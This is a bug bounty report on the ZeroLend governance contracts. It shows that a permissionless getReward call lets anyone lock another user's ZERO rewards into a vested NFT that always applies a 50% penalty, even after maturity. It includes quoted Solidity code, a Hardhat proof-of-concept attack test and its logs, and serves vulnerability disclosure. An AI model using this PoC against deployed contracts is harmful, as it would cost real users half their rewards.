29198 - [SC - Medium] Griefing attack to cause the rewards of a user ...
Griefing attack to cause the rewards of a user to be locked and when users claim the reward after maturity date, user will suffer the penalty.
Submitted on Mar 10th 2024 at 11:49:33 UTC by @perseverance for Boost | ZeroLend
Report ID: #29198
Report type: Smart Contract
Report severity: Medium
Target: https://github.com/zerolend/governance
Impacts:
Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
Description
Description
Griefing attack to cause the rewards of a user to be locked and when users claim the reward after maturity date, user will suffer the penalty.
Brief/Intro
VestedZeroNFT is a NFT based contract to hold all the user vests. NFTs can be traded on secondary marketplaces like Opensea, can be split into smaller chunks to allow for smaller otc deals to happen in secondary markets.
When mint a NFT tokenIT for a user, the function mint() can be used
functionclaim(uint256 id ) publicnonReentrantwhenNotPausedreturns (uint256 toClaim) {require(!frozen[id],"frozen"); LockDetails memory lock = tokenIdToLockDetails[id];if (lock.hasPenalty) {// if the user hasn't claimed before, then calculate how much penalty should be charged// and send the remaining tokens to the userif (lock.pendingClaimed ==0) {uint256 _penalty =penalty(id); toClaim += lock.pending - _penalty; lock.pendingClaimed = lock.pending;// send the penalty tokens back to the staking bonus// contract (used for staking bonuses) zero.transfer(stakingBonus, _penalty); } } else { (uint256 _upfront,uint256 _pending) =claimable(id);// handle vesting without penalties// handle the upfront vestingif (_upfront >0&& lock.upfrontClaimed ==0) { toClaim += _upfront; lock.upfrontClaimed = _upfront; }// handle the linear vestingif (_pending >0&& lock.pendingClaimed >=0) { toClaim += _pending - lock.pendingClaimed; lock.pendingClaimed += _pending - lock.pendingClaimed; } } tokenIdToLockDetails[id] = lock;if (toClaim >0) zero.transfer(ownerOf(id), toClaim); }
So the design of the protocol is, if users claim after the maturity date (unlockDate + LinearDuration), then users can claim without the penalty. This can be seen in the comment in line
if (token == zero) {
// if the token is ZERO; then vest it linearly for 3 months with a pentalty for
// early withdrawals.
vesting.mint(
account, // address _who,
_reward, // uint256 _pending,
0, // uint256 _upfront,
86400 * 30 * 3, // uint256 _linearDuration,
0, // uint256 _cliffDuration,
0, // uint256 _unlockDate,
true, // bool _hasPenalty,
IVestedZeroNFT.VestCategory.NORMAL // VestCategory _category
);
} else token.safeTransfer(account, _reward);
For a user that has aToken and varToken balance != 0, then when aTokenGauge and varToken gauge receive the reward, then the user also have some reward.
The user can receive the reward by calling the getReward function.
// allows a user to claim rewards for a given tokenfunctiongetReward(address account,IERC20 token ) publicnonReentrantupdateReward(token,account) {uint256 _reward = rewards[token][account]; rewards[token][account] =0;if (token == zero) {// if the token is ZERO; then vest it linearly for 3 months with a pentalty for// early withdrawals. vesting.mint( account,// address _who, _reward,// uint256 _pending,0,// uint256 _upfront,86400*30*3,// uint256 _linearDuration,0,// uint256 _cliffDuration,0,// uint256 _unlockDate,true,// bool _hasPenalty, IVestedZeroNFT.VestCategory.NORMAL // VestCategory _category ); } else token.safeTransfer(account, _reward); }
So if the reward token is zero then the contract will transfer the zero token to ZeroVestedNFT contract to mint a NFT token for the user. But notice that when minting the NFT token, the _hasPenalty is true.
The getReward is permissionless so anyone can call the getReward for another account.
Vulnerability Details
So if the zero rewards of a user is transfered to the ZeroVestedNFT, when claim after the LinearDuration time, the user still suffer the penalty for claimming.
The penalty amount is 50% of the pending reward. The rootcause is because the penalty calculation does not take into account the linearDuration. So the user always suffer the penalty that is 50% of the reward amount even the claim time is > unlockDate + LinearDuration
The _penalty is https://github.com/zerolend/governance/blob/main/contracts/vesting/VestedZeroNFT.sol#L207-L212
So the bug allow griefing attack that don't bring benefit to the hacker that cause damage to users. So the Severity is Medium with Category: Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
The bug root cause is that the penalty of ZeroVestedNFT amount calculation does not take into account the LinearDuration and unlockedDate.
Proof of Concept
Test code POC:
it("Griefing attack to cause rewards of users to be locked",asyncfunction () {console.log("Create the pre-condition setup for the griefing attack");const [user1] =awaithre.ethers.getSigners();console.log("Atoken balance of user1: ",awaitaToken.balanceOf(user1.address));let zeroBalance =awaitzero.balanceOf(user1.address);console.log("Zero balance of user1: ",awaitzero.balanceOf(user1.address));console.log("Deposit to get the Weth token"); console.log("The Weth balance of the user1: ",awaitreserve.balanceOf(user1.address));console.log("Mint the Weth token for the user1")awaitreserve.connect(owner)["mint(address,uint256)"](user1.address, e18 *10000n);console.log("The Weth balance of user1: ",awaitreserve.balanceOf(user1.address));console.log("Approve the pool to spend the Weth token of the user1"); awaitreserve.connect(user1).approve(pool.target, e18 *10000n);console.log("Deposit the Weth token to the pool");awaitpool.connect(user1).supply(reserve.target, e18 *10000n,user1.address,0); console.log("The Weth balance of user1: ",awaitreserve.balanceOf(user1.address));console.log("The Atoken balance of user1: ",awaitaToken.balanceOf(user1.address));console.log("Notify the reward amount to the poolVoter contract");expect(awaitpoolVoter.totalWeight()).eq(0); console.log("totalWeight: ",awaitpoolVoter.totalWeight()); awaitpoolVoter.connect(ant).vote([reserve.target], [1e8]);expect(awaitpoolVoter.totalWeight()).greaterThan(e18 *19n);console.log("after vote totalWeight: ",awaitpoolVoter.totalWeight()); console.log("length of pools:",awaitpoolVoter.length());console.log("zero balance of PoolVoter: ",awaitzero.balanceOf(poolVoter.target)); // Should be 0console.log("Step: the Deployer (the owner of Zero token) approve the PoolVoter to spend 100 ZERO token");awaitzero.connect(deployer).approve(poolVoter.target, e18 *100n);awaitpoolVoter.connect(deployer).notifyRewardAmount(e18 *100n);console.log("After notifyRewardAmout zero balance of PoolVoter: ",awaitzero.balanceOf(poolVoter.target)); splitterGauge =awaithre.ethers.getContractAt("LendingPoolGauge",awaitpoolVoter.gauges(reserve.target));console.log("The claimable reward of gauge: ",awaitpoolVoter.claimable(splitterGauge.target));console.log("Call the updateFor gauge to update the claimable reward for the gauge");awaitpoolVoter.connect(ant).updateFor(splitterGauge.target);console.log("Distribution of the reward to the gauge");console.log("Before distribute zero balance of aTokenGauge: ",awaitzero.balanceOf(aTokenGauge.target));console.log("Before distribute zero balance of varTokenGauge: ",awaitzero.balanceOf(varTokenGauge.target));awaitpoolVoter.connect(ant)["distribute(address)"](splitterGauge.target);console.log("After distribute zero balance of aTokenGauge: ",awaitzero.balanceOf(aTokenGauge.target));console.log("After distribute zero balance of varTokenGauge: ",awaitzero.balanceOf(varTokenGauge.target));console.log("The reward of the user1: ",awaitaTokenGauge.earned(zero.target,user1.address));console.log("Address of user1 ",user1.address);let lastTokenId =awaitvest.lastTokenId();console.log("LastTokenId: ", lastTokenId);console.log("The address of the owner of the lastTokenId: ",awaitvest.ownerOf(lastTokenId));console.log("Execute the griefing attack");const [attacker] =awaithre.ethers.getSigners();console.log("Call getReward to get the reward of the user1");awaitaTokenGauge.connect(attacker).getReward(user1.address, zero); lastTokenId =awaitvest.lastTokenId();console.log("LastTokenId: ", lastTokenId);console.log("The address of the owner of the lastTokenId: ",awaitvest.ownerOf(lastTokenId));console.log("Get tokenIdToLockDetails of the lastTokenId");let tokenIdToLockDetails =awaitvest.tokenIdToLockDetails(lastTokenId);console.log("tokenIdToLockDetails: ", tokenIdToLockDetails);console.log("The pending reward of the user1: ",tokenIdToLockDetails.pending);console.log("The user1 call the claim function of the vestZeroNFT contract to claim tokenID of Ant"); console.log("Zero balance of user1 after griefing attack",awaitzero.balanceOf(user1.address));console.log("Current timestamp",awaithelpers.time.latest());console.log("Mine 7776001 blocks with interval of 1 second"); awaithelpers.mine(7776001, { interval:1 });console.log("Current timestamp",awaithelpers.time.latest()); zeroBalance =awaitzero.balanceOf(user1.address);console.log("Zero balance of user1: ",awaitzero.balanceOf(user1.address));awaitvest.connect(user1).claim(lastTokenId); console.log("Zero balance of user1 after griefing attack",awaitzero.balanceOf(user1.address));console.log("Zero amout receive after claim ",awaitzero.balanceOf(user1.address) - zeroBalance);console.log("Zero balance of vestZeroNFT after contract",awaitzero.balanceOf(vest.target));console.log("The unclaimed amount of the tokenID",awaitvest.unclaimed(lastTokenId)); });
In the above POC, to execute the attack, the hacker call the getReward for user1 and token is zero. By doing so, the reward of user1 is locked with penalty.
When user1 claim after LinearDuration is 3 months, user1 suffer the penalty and get only 50% of the reward.
Test log: Full Test Log: https://drive.google.com/file/d/1xvXr5S4uS3m34nZgfiKVEprcTk7sEJAY/view?usp=sharing
Create the pre-condition setup for the griefing attack
Atoken balance of user1: 0n
Zero balance of user1: 99999999980000000000000000000n
Deposit to get the Weth token
The Weth balance of the user1: 0n
Mint the Weth token for the user1
The Weth balance of user1: 10000000000000000000000n
Approve the pool to spend the Weth token of the user1
Deposit the Weth token to the pool
The Weth balance of user1: 0n
The Atoken balance of user1: 10000000000000000000000n
Notify the reward amount to the poolVoter contract
totalWeight: 0n
after vote totalWeight: 19996876902587519025n
length of pools: 0n
zero balance of PoolVoter: 0n
Step: the Deployer (the owner of Zero token) approve the PoolVoter to spend 100 ZERO token
After notifyRewardAmout zero balance of PoolVoter: 100000000000000000000n
The claimable reward of gauge: 0n
Call the updateFor gauge to update the claimable reward for the gauge
Distribution of the reward to the gauge
Before distribute zero balance of aTokenGauge: 0n
Before distribute zero balance of varTokenGauge: 0n
After distribute zero balance of aTokenGauge: 24999999999999999998n
After distribute zero balance of varTokenGauge: 74999999999999999994n
The reward of the user1: 0n
Address of user1 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
LastTokenId: 1n
The address of the owner of the lastTokenId: 0x9E545E3C0baAB3E08CdfD552C960A1050f373042
Execute the griefing attack
Call getReward to get the reward of the user1
LastTokenId: 2n
The address of the owner of the lastTokenId: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
Get tokenIdToLockDetails of the lastTokenId
tokenIdToLockDetails: Result(10) [
0n,
1710048507n,
0n,
20667989410000n,
0n,
0n,
7776000n,
1710048507n,
true,
2n
]
The pending reward of the user1: 20667989410000n
The user1 call the claim function of the vestZeroNFT contract to claim tokenID of Ant
Zero balance of user1 after griefing attack 99999999880000000000000000000n
Current timestamp 1710048507
Mine 7776001 blocks with interval of 1 second
Current timestamp 1717824508
Zero balance of user1: 99999999880000000000000000000n
Zero balance of user1 after griefing attack 99999999880000010333994705000n
Zero amout receive after claim 10333994705000n
Zero balance of vestZeroNFT after contract 0n
The unclaimed amount of the tokenID 0n
✔ Griefing attack to cause rewards of users to be locked (466ms)
Test Log explanation:
So Pre-condition: User1 has aToken balance != 0 and the rewards of user1 and zero token is != 0.
In this POC, the reward amount of user 1 is: 20667989410000
Now after the time 7776001 that is the time passed the LinearDuration of the tokenNFT of ZeroVestedNFT, the user1 claim the token, user1 still suffer the penalty amount.
After claim, the user1 get zero token amout: 10333994705000
This amount is = 20667989410000 /2 so means that the zero token amount = 50% of the reward.